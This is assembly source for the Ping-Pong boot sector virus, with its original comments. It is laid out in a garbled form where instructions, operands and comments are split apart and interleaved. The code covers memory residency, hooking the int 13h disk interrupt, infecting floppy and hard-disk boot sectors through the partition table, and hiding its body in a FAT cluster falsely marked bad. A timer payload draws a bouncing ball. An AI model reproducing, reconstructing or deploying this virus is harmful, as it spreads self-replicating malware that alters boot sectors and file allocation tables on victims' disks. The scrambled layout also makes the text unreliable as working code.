help null help
segment proc far endp ends
code segment assume cs:code, ds:code org 7c00h top equ bottom left equ
00h equ 00h
active defined equ fat16 equ delay equ
equ 02h 04h 24h
text equ graphcs equ coltext equ mda equ
00h 01h 03h 07h
oldint08 oldint13 off ramsize
equ equ equ equ
start: jmp nop
18h 01h
;top margin for moving ball ;bottom margin for moving ball ;left margin for moving ball ;pingpong virus is active ;int 08h is redefined ;using 12 bit fat ;copy delay ;using text mode ;using graphics mode ;color text mode ;monochrome display adaptor
08h*4 13h*4 0400h 0413h
;int 08h vector's place ;int 13h vector's place ;offset difference between 7c00 & 8000 ;bios variable - size of ram memory
short initvir
db sectsiz dw clussiz db ressecs dw fatcnt rootsiz dw totsecs dw media db fatsize dw trksecs dw headcnt dw hidnsec dw
'msdos3.3' ? ? ? db ? ? ? ? ? ? ? ?
initvir:xor mov mov mov mov sub mov mov shl sub mov mov mov mov
ax,ax ;ss:sp=0000:7c00 ss,ax sp,7c00h ds,ax ax,word ptr ds:ramsize ;get ram size in kb ax,2 ;reserve 2kb word ptr ds:ramsize,ax ;set new ramsize cl,6 ;size of segment ax,cl ;convert kb->segment address ax,07c0h ;i want ip to have value 7c00 es,ax ;set new place si,7c00h ;start of this boot di,si ;start of future resident part cx,0100h ;length of this booter
; ; ; ; ; ; ; ; ; ;
;boot sector info - system name - size of sector - sectors per cluster - reserved sectors ; - number of fat - maximum root entries - total sectors number - media descriptor - fat sector number - sectors per track - heads number - skipped sectors
;
vir:
rep
movsw
;transfer boot to end of memory
mov db push pop call
cs,ax 8eh,0c8h cs ds vir
;jump to copy of virus
xor int
ah,ah 13h
and mov push pop sub mov call mov inc mov mov call xor mov mov mov mov mov mov push pop mov mov mov jmp org dd
byte ptr drive,80h ;don't use other than a: or c: disk now bx,word ptr bad ;get sector number of bad cluster cs ;- it is second part of ping-pong ax ax,20h es,ax ;set load address to 0000:7e00 (buffer) read bx,word ptr bad ;get sector number of bad cluster+1 bx ;- it is backup boot ax,-40h ;now load on address 0000:7c00 es,ax read ax,ax byte ptr watch,al ;reset all flags ds,ax ax,word ptr ds:oldint13 ;read old value of int 13h vector bx,word ptr ds:oldint13+2 word ptr ds:oldint13,offset diskio word ptr ds:oldint13+2,cs cs ;restore data segment ds word ptr callint+1,ax word ptr callint+3,bx dl,byte ptr drive ;restore drive far ptr null $-4 7c00h ;and start origin boot of dos
;set data segment ;save return address ;recalibrate disk
write: jmp read: mov
mov ax,0301h short rdwr ax,201h
;write 1 sector
rdwr: xchg add xor div inc mov xor div mov shl or mov xchg mov mov
ax,bx ;save service mark, get sector number ax,word ptr ds:hidnsec ;add first data sector dx,dx word ptr ds:trksecs ;divide by sectors per track dl ;sectors numbered from 1 ch,dl ;save sector number dx,dx word ptr headcnt ;divide by number of heads cl,6 ah,cl ;correct cylinder number ah,ch ;add sector number cx,ax ch,cl ;swap bytes dh,dl ;get head number ax,bx ;set read/write 1 sector mark
;read 1 sector
direct: mov dl,byte ptr drive ;get drive to read/write from/to mov bx,offset buffer ;buffer address int 13h ;read selected sector jnc retread pop ax retread:retn
;normal return if no error ;pick up return address, make exit
diskio: push ds ;new int 13h server push es push ax push bx push cx push dx push cs pop ds push cs pop es test byte ptr watch,active jnz diskret ;return if not active cmp ah,2 ;read operation ? jne diskret ;return if no cmp byte ptr drive,dl ;is is the same drive ? mov byte ptr drive,dl ;save new drive jnz activty ;but wait until next read on this drive xor ah,ah ;get ticks int 1ah ;read current 'time' test jnz test jnz push call pop dontping: mov sub mov sub jc activty:or push push call pop pop and diskret:pop pop pop pop pop pop callint:jmp org dd
dh,7fh dontping dl,0f0h dontping dx near ptr newtimr dx
;now test 29min, 59.79sec: ; don't picture pingpong ball ; first 30 minutes ;save ticks ;redefine int 08h to virus timer ;restore ticks
cx,dx dx,word ptr oldtick ;get ticks difference from last pass word ptr oldtick,cx ;save new ticks dx,delay ;1.98sec flowed from last pass ? diskret ;jump if no byte ptr watch,active ;make virus unactivated si di attack di si ;make virus activated byte ptr watch,not active dx cx bx ax es ds far ptr null $-4 00h ;and continue on old int 13h
attack: mov mov mov call test jz mov mov
ax,201h ;read 1 sector dh,0 ;head 0 cx,1 ;cylinder 0, sector 1 direct ;directly read sector to buffer byte ptr drive,80h ;hard disk used ? bootred ;jump if floppy disk used si,81beh ;start of partitions entries in buffer cx,4 ;four partitions
entry: je cmp je add loop retn
cmp byte ptr [si+4],1 ;12 bit fat ? dos byte ptr [si+4],4 ;or 16 bit fat dos si,10h ;next entry if none entry ;test all partitions
dos:
mov dx,[si] ;read active/head number mov cx,[si+2] ; cylinder§or/system mov ax,201h ;read 1 sector call direct ;read this partition boot bootred:mov si,8002h ;start of boot info in buffer mov di,7c02h ;start of virus place for info mov cx,1ch ;length of boot formated area rep movsb ;transfer disk format info cmp word ptr mark2+off,1357h;disk is marked jne unmarkd ;jump if unmarked cmp byte ptr mark1+off,0 ;!!!set nc!!! jae dosret ;return every time (if no carry) mov ax,word ptr data+off ;!!!no way to go here !!! mov word ptr data,ax ;set first data sector on disk mov si,word ptr bad+off ;read backup boot sector number jmp near ptr restore ;restore pingpong on disk dosret: retn unmarkd:cmp jne cmp jb mov mov cbw mul add mov mul add mov div add mov mov sub mov xor xor div
word ptr sectsiz+off,512;200h bytes per sector ? dosret ;don't support nonstandard disks byte ptr clussiz+off,2 ;minimally 2 sectors per cluster ? dosret ;too small cx,word ptr ressecs+off ;reserved sectors al,byte ptr fatcnt+off ;number of fats word ptr fatsize+off ;number of sectors in fat cx,ax ;add reserved sectors, save to cx ax,20h ;size of directory entry word ptr rootsiz+off ;maximum number of root entries ax,1ffh ;round it bx,200h ;size of sector bx ;get number of sectors used for root cx,ax ;add reserved, fat word ptr data,cx ;save first data sector number ax,word ptr totsecs ;read total number of sectors ax,word ptr data ;get number of usable sectors bl,byte ptr clussiz ;read cluster size dx,dx bh,bh bx ;count number of usable clusters
inc mov and cmp jbe or
ax ;numbered from 1 di,ax ;save usable clusters to di byte ptr watch,not fat16;set using 12 bit fat ax,0ff0h ;more than 12 bit for clusters ? selcted ;jump if 12 bit byte ptr watch,fat16 ;set using 16 bit fat
;now try find place for saving 2nd part of pingpong & backup of real boot selcted:mov mov dec mov mov jmp
si,2-1 ;set first (maybe) matching cluster bx,word ptr ressecs ;reserved sector - first for searching bx ;correct for loop word ptr matched,bx ;set first searched fat sector byte ptr skipped,-2 ;correct for loop - skipped fat sectors short nextfat ;jump right in the loop
matched dw data dw watch db drive db bad dw mark1 db mark2 dw dw
? ? ? ? ? ? 1357h 0aa55h
;reserved sectors ;first data sector on disk ;common flags ;last used drive ;sector - 2nd part of pingpong & boot ;restoring factor ;special pingpong mark
nextfat:inc mov add call jmp
word ptr matched ;next sector test for matching bx,word ptr matched ;get this sector number byte ptr skipped,2 ;next fat sector skipped near ptr read ;read this fat sector short nxtclst ;try this (si) cluster ;si contains cluster number testing:mov ax,3 ;size of 1 fat unit test byte ptr watch,fat16 ;using 16 bit fat ? jz smalfat ;o.k. if small fat inc ax ;else use 4 byte unit smalfat:mul si ;calculate address of si cluster shr ax,1 ;divide by 2 sub ah,byte ptr skipped mov bx,ax ;save it cmp bx,1ffh ;on the end of sector ? jnc nextfat ;skip to next fat sector if yes mov dx,word ptr buffer[bx] ;read fat information test byte ptr watch,fat16 ;using 16 bit fat ? jnz bigfat ;overskip corrections if 16 bit fat mov cl,4 ;shift by 4 bits test si,1 ;even/odd cluster ? jz cleven ;jump if even shr dx,cl ;odd cluster must be corrected cleven: and dh,0fh ;now clear top nibble for 12bit fat bigfat: test dx,0ffffh ;is this cluster used ? jz clear ;jump if is not used nxtclst:inc si ;increment cluster number cmp si,di ;last cluster ? jbe testing ;jump if no retn ;return if disk is fully used clear: test
mov dx,0fff7h byte ptr watch,fat16
;bad cluster mark ;using 16 bit fat ?
jnz and mov test jz shl donshft:or mov call mov sub mov xor mul add mov mov call mov inc call
donshft ;don't make corrections dh,0fh ;clear if 12 bit fat cl,4 ;4 bit correction si,1 ;even/odd cluster ? donshft ;don't make corrections dx,cl word ptr buffer[bx],dx ;save bad cluster mark bx,word ptr matched ;found free sector number near ptr write ;write modified fat sector ax,si ;get bad cluster number ax,2 ;cluster numbered from 2 bl,byte ptr clussiz ;get cluster size bh,bh bx ax,word ptr data si,ax bx,0 near ptr read bx,si bx near ptr write
;add first data sector ;save bad cluster sector number ;boot sector ;read sector bx ;restore bad cluster sector number ;2nd part of bad cluster ;make backup of real boot sector
restore:mov mov push pop sub mov call push pop sub mov mov call retn
bx,si word ptr bad,si cs ax ax,20h es,ax near ptr write cs ax ax,40h es,ax bx,0 near ptr write
;get bad cluster sector number ;save it to virus body ;make 8000h point to 2nd part of virus
oldtick dw skipped db
? ?
;number of ticks from cpu start ;number of passed sectors that was used
;write vir to 1st part of bad cluster ;make 8000h point to 1st part of virus
;boot sector ;write 1st part of pingpong to boot
newtimr:test byte ptr watch,defined ;redefine int 08h ? jnz newret ;return if yet redefined or byte ptr watch,defined ;now set new timer interrupt mov ax,0 mov ds,ax mov ax,word ptr ds:oldint08 ;read old interrupt vector mov bx,word ptr ds:oldint08+2 mov word ptr ds:oldint08,offset timer mov word ptr ds:oldint08+2,cs push cs pop ds mov word ptr oldtimr+1,ax ;save old vector (modify program) mov word ptr oldtimr+3,bx newret: retn timer: push
push ax
ds
;save registers
push push push push pop mov int mov cmp je mov dec mov mov cmp jne dec comptext: cmp jae dec grmode: mov mov mov mov int push mov jmp nochange: mov int push mov mov int mov cmp jne mov lastext:mov mov mov int coords: mov cmp jne xor inc ymin: cmp jne xor inc ymax: cmp jne xor inc
bx cx dx cs ds ah,0fh 10h
;read video mode ah=max columns ; al=current mode ; bh=page number bl,al ;save current mode bx,word ptr oldmode ;compare with old mode & page nochange word ptr oldmode,bx ;save new mode ah ;get last column on screen byte ptr right,ah ;set new right margin ah,graphcs ;set graphics mode active (temporrary) bl,mda ;current mode hercules mda? comptext ;compare cga/ega/vga text modes ah ;set ah=00 if mda text bl,coltext+1 ;current cga/ega/vga color text mode ? grmode ah byte ptr mode,ah ;set graphic/text mode used word ptr oldpos,(top+1)*256+left+1 word ptr step,101h ;go down & right ah,3 ;read cursor position dx 10h ; size cx dx ;save old screen position dx,word ptr oldpos short coords ;and evaluate coordinates ah,3 ;read cursor position dx 10h ; size cx dx ;save old screen position ah,2 ;set cursor's position dx,word ptr oldpos ;set old ball position 10h ax,word ptr oldbyte ;get origin character byte ptr mode,graphcs ;graphics screen on the last pass ? lastext ;if text was used, use old character ax,8307h ;else use xored object bl,ah ;set attribute for character cx,1 ;only 1 char ah,9 ;write 10h cx,word ptr step ;read step rate dh,top ;top most position ? ymin ch,0ffh ;negate step in y-axis, go down ch dh,bottom ;bottom most position ymax ch,0ffh ;negate step in y-axis, go up ch dl,left ;left most position xmin cl,0ffh ;negate step in x-axis, go right cl
xmin: cmp jne xor inc xmax: cmp jne mov and cmp jne xor inc mirrx: jne xor inc newdir: add add mov mov mov int mov int mov mov cmp jne mov textuse:mov mov int pop mov int pop pop pop pop pop oldtimr:jmp org dd
dl,byte ptr right ;right most position xmax cl,0ffh ;negate step in x-axis, go left cl cx,word ptr step ;direction changed ? newdir ax,word ptr oldbyte ;get old screen's character al,7 ;protect 3 low bits al,3 ;test y-mirror mirrx ;go to test x-mirror, if not y-mirror ch,0ffh ;negate step in y-axis, mirror chars y ch cmp al,5 newdir cl,0ffh ;negate step in x-axis, mirror chars x cl dl,cl ;count new position dh,ch step,cx ;save (new) step word ptr oldpos,dx ; new position ah,2 ;set cursor's position dx 10h ah,8 ;read video attr ah 10h ; char al word ptr oldbyte,ax ;save origin character on screen bl,ah ;read attribute value byte ptr mode,graphcs ;graphics used on the last pass ? textuse ;jump if text bl,83h ;set xored object if graphics cx,1 ;1 character ax,907h ;write on screen 10h dx ;restore old screen cursor's position ah,2 ;set cursor's position dx 10h dx ;restore registers cx bx ax ds far ptr null ;no matter, do oldint 08h interrupt $-4 00h
oldbyte dw oldpos step dw mode db oldmode dw right db
? dw ? ? ? ?
org buffer
8000h label byte
code
ends end
start
?
;char & attr below ball 7fcd ;position of pingpong ball ;step in x & y axis for ball ;last used mode graphics/text ;page & mode used on last pass ;max column number-1 7fd6 ;general buffer for input/output